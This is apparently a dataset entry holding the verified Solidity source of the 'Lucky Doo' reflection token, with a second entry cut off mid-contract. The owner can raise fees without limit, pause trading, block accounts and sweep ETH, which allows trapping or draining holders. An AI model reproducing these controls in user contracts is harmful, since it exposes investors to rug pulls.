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LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | transfer | function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
| // Setters | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
5870,
6026
]
} | 1,307 |
||
LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
